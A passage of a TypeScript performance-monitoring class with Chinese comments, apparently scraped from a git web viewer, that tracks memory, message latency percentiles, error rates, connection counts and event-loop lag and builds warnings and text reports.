// 指标收集
|
||||
private metrics: PerformanceMetrics[] = []
|
||||
private readonly MAX_METRICS_HISTORY = 60 // 保留最近60条记录
|
||||
|
||||
// 消息延迟追踪
|
||||
private messageLatencies: number[] = []
|
||||
private readonly MAX_LATENCY_SAMPLES = 1000
|
||||
|
||||
// 连接统计
|
||||
private connectionsPerMinute = 0
|
||||
private disconnectionsPerMinute = 0
|
||||
private lastConnectionCount = 0
|
||||
|
||||
// 消息统计
|
||||
private messagesThisSecond = 0
|
||||
private messagesLastSecond = 0
|
||||
private errorsThisSecond = 0
|
||||
private errorsLastSecond = 0
|
||||
|
||||
// 事件循环监控
|
||||
private lastEventLoopCheck = Date.now()
|
||||
private eventLoopLag = 0
|
||||
|
||||
constructor() {
|
||||
this.startMonitoring()
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录消息延迟
|
||||
*/
|
||||
recordMessageLatency(latency: number): void {
|
||||
this.messageLatencies.push(latency)
|
||||
if (this.messageLatencies.length > this.MAX_LATENCY_SAMPLES) {
|
||||
this.messageLatencies.shift()
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录消息
|
||||
*/
|
||||
recordMessage(): void {
|
||||
this.messagesThisSecond++
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录错误
|
||||
*/
|
||||
recordError(): void {
|
||||
this.errorsThisSecond++
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录连接
|
||||
*/
|
||||
recordConnection(): void {
|
||||
this.connectionsPerMinute++
|
||||
}
|
||||
|
||||
/**
|
||||
* 记录断开连接
|
||||
*/
|
||||
recordDisconnection(): void {
|
||||
this.disconnectionsPerMinute++
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取当前性能指标
|
||||
*/
|
||||
getCurrentMetrics(): PerformanceMetrics {
|
||||
const memUsage = process.memoryUsage()
|
||||
const heapUsedMB = Math.round(memUsage.heapUsed / 1024 / 1024)
|
||||
const heapTotalMB = Math.round(memUsage.heapTotal / 1024 / 1024)
|
||||
const externalMB = Math.round(memUsage.external / 1024 / 1024)
|
||||
const rssMB = Math.round(memUsage.rss / 1024 / 1024)
|
||||
|
||||
const metrics: PerformanceMetrics = {
|
||||
timestamp: Date.now(),
|
||||
memoryUsage: {
|
||||
heapUsed: heapUsedMB,
|
||||
heapTotal: heapTotalMB,
|
||||
external: externalMB,
|
||||
rss: rssMB,
|
||||
heapUsedPercent: Math.round((heapUsedMB / heapTotalMB) * 100)
|
||||
},
|
||||
connectionMetrics: {
|
||||
totalConnections: 0, // 由调用者设置
|
||||
activeConnections: 0,
|
||||
idleConnections: 0,
|
||||
newConnectionsPerMinute: this.connectionsPerMinute,
|
||||
disconnectionsPerMinute: this.disconnectionsPerMinute
|
||||
},
|
||||
messageMetrics: {
|
||||
messagesPerSecond: this.messagesLastSecond,
|
||||
averageLatency: this.calculateAverageLatency(),
|
||||
p95Latency: this.calculatePercentileLatency(95),
|
||||
p99Latency: this.calculatePercentileLatency(99),
|
||||
errorRate: this.messagesLastSecond > 0
|
||||
? Math.round((this.errorsLastSecond / this.messagesLastSecond) * 100 * 100) / 100
|
||||
: 0
|
||||
},
|
||||
systemMetrics: {
|
||||
uptime: Math.round(process.uptime()),
|
||||
cpuUsage: this.calculateCpuUsage(),
|
||||
eventLoopLag: this.eventLoopLag
|
||||
}
|
||||
}
|
||||
|
||||
return metrics
|
||||
}
|
||||
|
||||
/**
|
||||
* 计算平均延迟
|
||||
*/
|
||||
private calculateAverageLatency(): number {
|
||||
if (this.messageLatencies.length === 0) return 0
|
||||
const sum = this.messageLatencies.reduce((a, b) => a + b, 0)
|
||||
return Math.round(sum / this.messageLatencies.length * 100) / 100
|
||||
}
|
||||
|
||||
/**
|
||||
* 计算百分位延迟
|
||||
*/
|
||||
private calculatePercentileLatency(percentile: number): number {
|
||||
if (this.messageLatencies.length === 0) return 0
|
||||
const sorted = [...this.messageLatencies].sort((a, b) => a - b)
|
||||
const index = Math.ceil((percentile / 100) * sorted.length) - 1
|
||||
return sorted[Math.max(0, index)]
|
||||
}
|
||||
|
||||
/**
|
||||
* 计算CPU使用率 (简化版)
|
||||
*/
|
||||
private calculateCpuUsage(): number {
|
||||
// 这是一个简化的实现,实际应该使用 os.cpus() 或专门的库
|
||||
const usage = process.cpuUsage()
|
||||
return Math.round((usage.user + usage.system) / 1000000 * 100) / 100
|
||||
}
|
||||
|
||||
/**
|
||||
* 启动监控任务
|
||||
*/
|
||||
private startMonitoring(): void {
|
||||
// 每秒更新消息统计
|
||||
setInterval(() => {
|
||||
this.messagesLastSecond = this.messagesThisSecond
|
||||
this.errorsLastSecond = this.errorsThisSecond
|
||||
this.messagesThisSecond = 0
|
||||
this.errorsThisSecond = 0
|
||||
}, 1000)
|
||||
|
||||
// 每分钟重置连接统计
|
||||
setInterval(() => {
|
||||
this.connectionsPerMinute = 0
|
||||
this.disconnectionsPerMinute = 0
|
||||
}, 60000)
|
||||
|
||||
// 每10秒收集一次完整指标
|
||||
setInterval(() => {
|
||||
const metrics = this.getCurrentMetrics()
|
||||
this.metrics.push(metrics)
|
||||
|
||||
if (this.metrics.length > this.MAX_METRICS_HISTORY) {
|
||||
this.metrics.shift()
|
||||
}
|
||||
|
||||
this.logMetrics(metrics)
|
||||
}, 10000)
|
||||
|
||||
// 监控事件循环延迟
|
||||
this.monitorEventLoopLag()
|
||||
}
|
||||
|
||||
/**
|
||||
* 监控事件循环延迟
|
||||
*/
|
||||
private monitorEventLoopLag(): void {
|
||||
let lastCheck = Date.now()
|
||||
|
||||
setInterval(() => {
|
||||
const now = Date.now()
|
||||
const expectedDelay = 1000 // 1秒
|
||||
const actualDelay = now - lastCheck
|
||||
this.eventLoopLag = Math.max(0, actualDelay - expectedDelay)
|
||||
lastCheck = now
|
||||
}, 1000)
|
||||
}
|
||||
|
||||
/**
|
||||
* 输出指标日志
|
||||
*/
|
||||
private logMetrics(metrics: PerformanceMetrics): void {
|
||||
const mem = metrics.memoryUsage
|
||||
const msg = metrics.messageMetrics
|
||||
const conn = metrics.connectionMetrics
|
||||
const sys = metrics.systemMetrics
|
||||
|
||||
this.logger.info(`
|
||||
📊 性能指标 (${new Date(metrics.timestamp).toLocaleTimeString()}):
|
||||
💾 内存: ${mem.heapUsed}MB / ${mem.heapTotal}MB (${mem.heapUsedPercent}%) | RSS: ${mem.rss}MB
|
||||
📨 消息: ${msg.messagesPerSecond}/s | 延迟: ${msg.averageLatency}ms (p95: ${msg.p95Latency}ms, p99: ${msg.p99Latency}ms) | 错误率: ${msg.errorRate}%
|
||||
🔌 连接: ${conn.totalConnections}个 (活跃: ${conn.activeConnections}, 空闲: ${conn.idleConnections}) | 新增: ${conn.newConnectionsPerMinute}/min
|
||||
⚙️ 系统: 运行时间 ${sys.uptime}s | CPU: ${sys.cpuUsage}% | 事件循环延迟: ${sys.eventLoopLag}ms
|
||||
`)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取历史指标
|
||||
*/
|
||||
getMetricsHistory(limit: number = 10): PerformanceMetrics[] {
|
||||
return this.metrics.slice(-limit)
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取性能警告
|
||||
*/
|
||||
getPerformanceWarnings(): string[] {
|
||||
const warnings: string[] = []
|
||||
const latest = this.metrics[this.metrics.length - 1]
|
||||
|
||||
if (!latest) return warnings
|
||||
|
||||
// 内存警告
|
||||
if (latest.memoryUsage.heapUsedPercent > 80) {
|
||||
warnings.push(`⚠️ 内存使用过高: ${latest.memoryUsage.heapUsedPercent}%`)
|
||||
}
|
||||
|
||||
// 延迟警告
|
||||
if (latest.messageMetrics.p99Latency > 500) {
|
||||
warnings.push(`⚠️ 消息延迟过高: P99=${latest.messageMetrics.p99Latency}ms`)
|
||||
}
|
||||
|
||||
// 错误率警告
|
||||
if (latest.messageMetrics.errorRate > 5) {
|
||||
warnings.push(`⚠️ 错误率过高: ${latest.messageMetrics.errorRate}%`)
|
||||
}
|
||||
|
||||
// 事件循环延迟警告
|
||||
if (latest.systemMetrics.eventLoopLag > 100) {
|
||||
warnings.push(`⚠️ 事件循环延迟过高: ${latest.systemMetrics.eventLoopLag}ms`)
|
||||
}
|
||||
|
||||
return warnings
|
||||
}
|
||||
|
||||
/**
|
||||
* 获取性能报告
|
||||
*/
|
||||
getPerformanceReport(): string {
|
||||
const warnings = this.getPerformanceWarnings()
|
||||
const latest = this.metrics[this.metrics.length - 1]
|
||||
|
||||
if (!latest) return '暂无数据'
|
||||
|
||||
let report = '📈 性能报告\n'
|
||||
report += '='.repeat(50) + '\n'
|
||||
report += `时间: ${new Date(latest.timestamp).toLocaleString()}\n`
|
||||
report += `内存: ${latest.memoryUsage.heapUsed}MB / ${latest.memoryUsage.heapTotal}MB\n`
|
||||
report += `消息吞吐: ${latest.messageMetrics.messagesPerSecond}/s\n`
|
||||
report += `平均延迟: ${latest.messageMetrics.averageLatency}ms\n`
|
||||
report += `连接数: ${latest.connectionMetrics.totalConnections}\n`
|
||||
report += `运行时间: ${latest.systemMetrics.uptime}s\n`
|
||||
|
||||
if (warnings.length > 0) {
|
||||
report += '\n⚠️ 警告:\n'
|
||||
warnings.forEach(w => report += ` ${w}\n`)
|
||||
} else {
|
||||
report += '\n✅ 系统运行正常\n'
|
||||
}
|
||||
|
||||
return report
|
||||
}
|
||||
|
||||
/**
|
||||
* 清理资源
|
||||
*/
|
||||
destroy(): void {
|
||||
this.metrics = []
|
||||
this.messageLatencies = []
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user